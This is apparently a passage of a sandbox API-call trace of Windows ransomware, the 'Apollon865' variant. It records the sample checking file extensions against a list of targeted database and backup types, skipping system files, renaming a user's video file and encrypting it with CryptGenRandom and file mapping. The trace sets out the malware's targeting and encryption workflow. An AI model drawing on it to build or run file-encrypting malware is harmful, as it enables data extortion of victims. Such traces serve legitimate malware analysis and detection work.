	[0086.870] lstrcmpiW (lpString1="flv", lpString2="nsf") returned -1
	[0086.870] lstrlenW (lpString="nv") returned 2
	[0086.870] lstrcmpiW (lpString1="lv", lpString2="nv") returned -1
	[0086.870] lstrlenW (lpString="nv2") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="nv2") returned -1
	[0086.870] lstrlenW (lpString="nwdb") returned 4
	[0086.870] lstrcmpiW (lpString1=".flv", lpString2="nwdb") returned -1
	[0086.870] lstrlenW (lpString="nyf") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="nyf") returned -1
	[0086.870] lstrlenW (lpString="odb") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.870] lstrlenW (lpString="odb") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.870] lstrlenW (lpString="oqy") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="oqy") returned -1
	[0086.870] lstrlenW (lpString="ora") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="ora") returned -1
	[0086.870] lstrlenW (lpString="orx") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="orx") returned -1
	[0086.870] lstrlenW (lpString="owc") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="owc") returned -1
	[0086.871] lstrlenW (lpString="p96") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="p96") returned -1
	[0086.871] lstrlenW (lpString="p97") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="p97") returned -1
	[0086.871] lstrlenW (lpString="pan") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="pan") returned -1
	[0086.871] lstrlenW (lpString="pdb") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="pdb") returned -1
	[0086.871] lstrlenW (lpString="pdm") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="pdm") returned -1
	[0086.871] lstrlenW (lpString="pnz") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="pnz") returned -1
	[0086.871] lstrlenW (lpString="qry") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="qry") returned -1
	[0086.871] lstrlenW (lpString="qvd") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="qvd") returned -1
	[0086.871] lstrlenW (lpString="rbf") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="rbf") returned -1
	[0086.871] lstrlenW (lpString="rctd") returned 4
	[0086.871] lstrcmpiW (lpString1=".flv", lpString2="rctd") returned -1
	[0086.871] lstrlenW (lpString="rod") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="rod") returned -1
	[0086.871] lstrlenW (lpString="rodx") returned 4
	[0086.871] lstrcmpiW (lpString1=".flv", lpString2="rodx") returned -1
	[0086.871] lstrlenW (lpString="rpd") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="rpd") returned -1
	[0086.871] lstrlenW (lpString="rsd") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="rsd") returned -1
	[0086.871] lstrlenW (lpString="sas7bdat") returned 8
	[0086.871] lstrcmpiW (lpString1="jBDU.flv", lpString2="sas7bdat") returned -1
	[0086.871] lstrlenW (lpString="sbf") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="sbf") returned -1
	[0086.871] lstrlenW (lpString="scx") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="scx") returned -1
	[0086.871] lstrlenW (lpString="sdb") returned 3
	[0086.871] lstrcmpiW (lpString1="flv", lpString2="sdb") returned -1
	[0086.872] lstrlenW (lpString="sdc") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="sdc") returned -1
	[0086.872] lstrlenW (lpString="sdf") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="sdf") returned -1
	[0086.872] lstrlenW (lpString="sis") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="sis") returned -1
	[0086.872] lstrlenW (lpString="spq") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="spq") returned -1
	[0086.872] lstrlenW (lpString="te") returned 2
	[0086.872] lstrcmpiW (lpString1="lv", lpString2="te") returned -1
	[0086.872] lstrlenW (lpString="teacher") returned 7
	[0086.872] lstrcmpiW (lpString1="BDU.flv", lpString2="teacher") returned -1
	[0086.872] lstrlenW (lpString="tmd") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="tmd") returned -1
	[0086.872] lstrlenW (lpString="tps") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="tps") returned -1
	[0086.872] lstrlenW (lpString="trc") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.872] lstrlenW (lpString="trc") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.872] lstrlenW (lpString="trm") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="trm") returned -1
	[0086.872] lstrlenW (lpString="udb") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="udb") returned -1
	[0086.872] lstrlenW (lpString="udl") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="udl") returned -1
	[0086.872] lstrlenW (lpString="usr") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="usr") returned -1
	[0086.872] lstrlenW (lpString="v12") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="v12") returned -1
	[0086.872] lstrlenW (lpString="vis") returned 3
	[0086.872] lstrcmpiW (lpString1="flv", lpString2="vis") returned -1
	[0086.873] lstrlenW (lpString="vpd") returned 3
	[0086.873] lstrcmpiW (lpString1="flv", lpString2="vpd") returned -1
	[0086.873] lstrlenW (lpString="vvv") returned 3
	[0086.873] lstrcmpiW (lpString1="flv", lpString2="vvv") returned -1
	[0086.873] lstrlenW (lpString="wdb") returned 3
	[0086.873] lstrcmpiW (lpString1="flv", lpString2="wdb") returned -1
	[0086.873] lstrlenW (lpString="wmdb") returned 4
	[0086.873] lstrcmpiW (lpString1=".flv", lpString2="wmdb") returned -1
	[0086.873] lstrlenW (lpString="wrk") returned 3
	[0086.873] lstrcmpiW (lpString1="flv", lpString2="wrk") returned -1
	[0086.873] lstrlenW (lpString="xdb") returned 3
	[0086.873] lstrcmpiW (lpString1="flv", lpString2="xdb") returned -1
	[0086.873] lstrlenW (lpString="xld") returned 3
	[0086.873] lstrcmpiW (lpString1="flv", lpString2="xld") returned -1
	[0086.873] lstrlenW (lpString="xmlff") returned 5
	[0086.873] lstrcmpiW (lpString1="U.flv", lpString2="xmlff") returned -1
	[0086.873] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\Pc1dFyjBDU.flv.Apollon865") returned 81
	[0086.873] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\Pc1dFyjBDU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\pc1dfyjbdu.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\Pc1dFyjBDU.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\pc1dfyjbdu.flv.apollon865"), dwFlags=0x1) returned 1
	[0086.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\Pc1dFyjBDU.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\pc1dfyjbdu.flv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.875] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=87576) returned 1
	[0086.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.876] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.876] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.876] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.877] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.877] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.877] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15920, lpName=0x0) returned 0x15c
	[0086.877] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15920) returned 0x120000
	[0086.881] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.882] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.882] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.882] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.882] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.883] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.883] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.884] CloseHandle (hObject=0x15c) returned 1
	[0086.884] CloseHandle (hObject=0x9c) returned 1
	[0086.885] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.885] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.885] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.885] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92371550, ftCreationTime.dwHighDateTime=0x1d4cc15, ftLastAccessTime.dwLowDateTime=0xedd7b170, ftLastAccessTime.dwHighDateTime=0x1d4ca4f, ftLastWriteTime.dwLowDateTime=0xedd7b170, ftLastWriteTime.dwHighDateTime=0x1d4ca4f, nFileSizeHigh=0x0, nFileSizeLow=0x16eb2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sbPuJ-Xq.mkv", cAlternateFileName="")) returned 1
	[0086.885] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="..") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="windows") returned -1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="bootmgr") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="temp") returned -1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="pagefile.sys") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="boot") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="ids.txt") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="ntuser.dat") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="perflogs") returned 1
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2="MSBuild") returned 1
	[0086.886] lstrlenW (lpString="sbPuJ-Xq.mkv") returned 12
	[0086.886] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\Pc1dFyjBDU.flv") returned 70
	[0086.886] lstrcpyW (in: lpString1=0x119e678, lpString2="sbPuJ-Xq.mkv" | out: lpString1="sbPuJ-Xq.mkv") returned="sbPuJ-Xq.mkv"
	[0086.886] lstrlenW (lpString="sbPuJ-Xq.mkv") returned 12
	[0086.886] lstrlenW (lpString="Apollon865") returned 10
	[0086.886] lstrcmpiW (lpString1="PuJ-Xq.mkv", lpString2="Apollon865") returned 1
	[0086.886] lstrlenW (lpString=".dll") returned 4
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".dll") returned 1
	[0086.886] lstrlenW (lpString=".lnk") returned 4
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".lnk") returned 1
	[0086.886] lstrlenW (lpString=".ini") returned 4
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".ini") returned 1
	[0086.886] lstrlenW (lpString=".sys") returned 4
	[0086.886] lstrcmpiW (lpString1="sbPuJ-Xq.mkv", lpString2=".sys") returned 1
	[0086.886] lstrlenW (lpString="sbPuJ-Xq.mkv") returned 12
	[0086.886] lstrlenW (lpString="bak") returned 3
	[0086.886] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.886] lstrlenW (lpString="ba_") returned 3
	[0086.886] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.886] lstrlenW (lpString="dbb") returned 3
	[0086.886] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.886] lstrlenW (lpString="vmdk") returned 4
	[0086.886] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.886] lstrlenW (lpString="rar") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.887] lstrlenW (lpString="zip") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.887] lstrlenW (lpString="tgz") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.887] lstrlenW (lpString="vbox") returned 4
	[0086.887] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.887] lstrlenW (lpString="vdi") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.887] lstrlenW (lpString="vhd") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.887] lstrlenW (lpString="vhdx") returned 4
	[0086.887] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.887] lstrlenW (lpString="avhd") returned 4
	[0086.887] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.887] lstrlenW (lpString="db") returned 2
	[0086.887] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.887] lstrlenW (lpString="db2") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.887] lstrlenW (lpString="db3") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.887] lstrlenW (lpString="dbf") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.887] lstrlenW (lpString="mdf") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.887] lstrlenW (lpString="mdb") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.887] lstrlenW (lpString="sql") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.887] lstrlenW (lpString="sqlite") returned 6
	[0086.887] lstrcmpiW (lpString1="Xq.mkv", lpString2="sqlite") returned 1
	[0086.887] lstrlenW (lpString="sqlite3") returned 7
	[0086.887] lstrcmpiW (lpString1="-Xq.mkv", lpString2="sqlite3") returned 1
	[0086.887] lstrlenW (lpString="sqlitedb") returned 8
	[0086.887] lstrcmpiW (lpString1="J-Xq.mkv", lpString2="sqlitedb") returned -1
	[0086.887] lstrlenW (lpString="xml") returned 3
	[0086.887] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.888] lstrlenW (lpString="$er") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.888] lstrlenW (lpString="4dd") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.888] lstrlenW (lpString="4dl") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.888] lstrlenW (lpString="^^^") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.888] lstrlenW (lpString="abs") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.888] lstrlenW (lpString="abx") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.888] lstrlenW (lpString="accdb") returned 5
	[0086.888] lstrcmpiW (lpString1="q.mkv", lpString2="accdb") returned 1
	[0086.888] lstrlenW (lpString="accdc") returned 5
	[0086.888] lstrcmpiW (lpString1="q.mkv", lpString2="accdc") returned 1
	[0086.888] lstrlenW (lpString="accde") returned 5
	[0086.888] lstrcmpiW (lpString1="q.mkv", lpString2="accde") returned 1
	[0086.888] lstrlenW (lpString="accdr") returned 5
	[0086.888] lstrcmpiW (lpString1="q.mkv", lpString2="accdr") returned 1
	[0086.888] lstrlenW (lpString="accdt") returned 5
	[0086.888] lstrcmpiW (lpString1="q.mkv", lpString2="accdt") returned 1
	[0086.888] lstrlenW (lpString="accdw") returned 5
	[0086.888] lstrcmpiW (lpString1="q.mkv", lpString2="accdw") returned 1
	[0086.888] lstrlenW (lpString="accft") returned 5
	[0086.888] lstrcmpiW (lpString1="q.mkv", lpString2="accft") returned 1
	[0086.888] lstrlenW (lpString="adb") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.888] lstrlenW (lpString="adb") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.888] lstrlenW (lpString="ade") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.888] lstrlenW (lpString="adf") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.888] lstrlenW (lpString="adn") returned 3
	[0086.888] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.888] lstrlenW (lpString="adp") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.889] lstrlenW (lpString="alf") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.889] lstrlenW (lpString="ask") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.889] lstrlenW (lpString="btr") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.889] lstrlenW (lpString="cat") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.889] lstrlenW (lpString="cdb") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.889] lstrlenW (lpString="ckp") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.889] lstrlenW (lpString="cma") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.889] lstrlenW (lpString="cpd") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.889] lstrlenW (lpString="dacpac") returned 6
	[0086.889] lstrcmpiW (lpString1="Xq.mkv", lpString2="dacpac") returned 1
	[0086.889] lstrlenW (lpString="dad") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.889] lstrlenW (lpString="dadiagrams") returned 10
	[0086.889] lstrcmpiW (lpString1="PuJ-Xq.mkv", lpString2="dadiagrams") returned 1
	[0086.889] lstrlenW (lpString="daschema") returned 8
	[0086.889] lstrcmpiW (lpString1="J-Xq.mkv", lpString2="daschema") returned 1
	[0086.889] lstrlenW (lpString="db-journal") returned 10
	[0086.889] lstrcmpiW (lpString1="PuJ-Xq.mkv", lpString2="db-journal") returned 1
	[0086.889] lstrlenW (lpString="db-shm") returned 6
	[0086.889] lstrcmpiW (lpString1="Xq.mkv", lpString2="db-shm") returned 1
	[0086.889] lstrlenW (lpString="db-wal") returned 6
	[0086.889] lstrcmpiW (lpString1="Xq.mkv", lpString2="db-wal") returned 1
	[0086.889] lstrlenW (lpString="dbc") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.889] lstrlenW (lpString="dbs") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.889] lstrlenW (lpString="dbt") returned 3
	[0086.889] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.890] lstrlenW (lpString="dbv") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.890] lstrlenW (lpString="dbx") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.890] lstrlenW (lpString="dcb") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.890] lstrlenW (lpString="dct") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.890] lstrlenW (lpString="dcx") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.890] lstrlenW (lpString="ddl") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.890] lstrlenW (lpString="dlis") returned 4
	[0086.890] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.890] lstrlenW (lpString="dp1") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.890] lstrlenW (lpString="dqy") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.890] lstrlenW (lpString="dsk") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.890] lstrlenW (lpString="dsn") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.890] lstrlenW (lpString="dtsx") returned 4
	[0086.890] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.890] lstrlenW (lpString="dxl") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.890] lstrlenW (lpString="eco") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.890] lstrlenW (lpString="ecx") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.890] lstrlenW (lpString="edb") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.890] lstrlenW (lpString="epim") returned 4
	[0086.890] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.890] lstrlenW (lpString="fcd") returned 3
	[0086.890] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.890] lstrlenW (lpString="fdb") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.891] lstrlenW (lpString="fic") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.891] lstrlenW (lpString="flexolibrary") returned 12
	[0086.891] lstrlenW (lpString="fm5") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.891] lstrlenW (lpString="fmp") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.891] lstrlenW (lpString="fmp12") returned 5
	[0086.891] lstrcmpiW (lpString1="q.mkv", lpString2="fmp12") returned 1
	[0086.891] lstrlenW (lpString="fmpsl") returned 5
	[0086.891] lstrcmpiW (lpString1="q.mkv", lpString2="fmpsl") returned 1
	[0086.891] lstrlenW (lpString="fol") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.891] lstrlenW (lpString="fp3") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.891] lstrlenW (lpString="fp4") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.891] lstrlenW (lpString="fp5") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.891] lstrlenW (lpString="fp7") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.891] lstrlenW (lpString="fpt") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.891] lstrlenW (lpString="frm") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.891] lstrlenW (lpString="gdb") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.891] lstrlenW (lpString="gdb") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.891] lstrlenW (lpString="grdb") returned 4
	[0086.891] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.891] lstrlenW (lpString="gwi") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.891] lstrlenW (lpString="hdb") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.891] lstrlenW (lpString="his") returned 3
	[0086.891] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.892] lstrlenW (lpString="ib") returned 2
	[0086.892] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.892] lstrlenW (lpString="idb") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.892] lstrlenW (lpString="ihx") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.892] lstrlenW (lpString="itdb") returned 4
	[0086.892] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.892] lstrlenW (lpString="itw") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.892] lstrlenW (lpString="jet") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.892] lstrlenW (lpString="jtx") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.892] lstrlenW (lpString="kdb") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.892] lstrlenW (lpString="kexi") returned 4
	[0086.892] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.892] lstrlenW (lpString="kexic") returned 5
	[0086.892] lstrcmpiW (lpString1="q.mkv", lpString2="kexic") returned 1
	[0086.892] lstrlenW (lpString="kexis") returned 5
	[0086.892] lstrcmpiW (lpString1="q.mkv", lpString2="kexis") returned 1
	[0086.892] lstrlenW (lpString="lgc") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.892] lstrlenW (lpString="lwx") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.892] lstrlenW (lpString="maf") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.892] lstrlenW (lpString="maq") returned 3
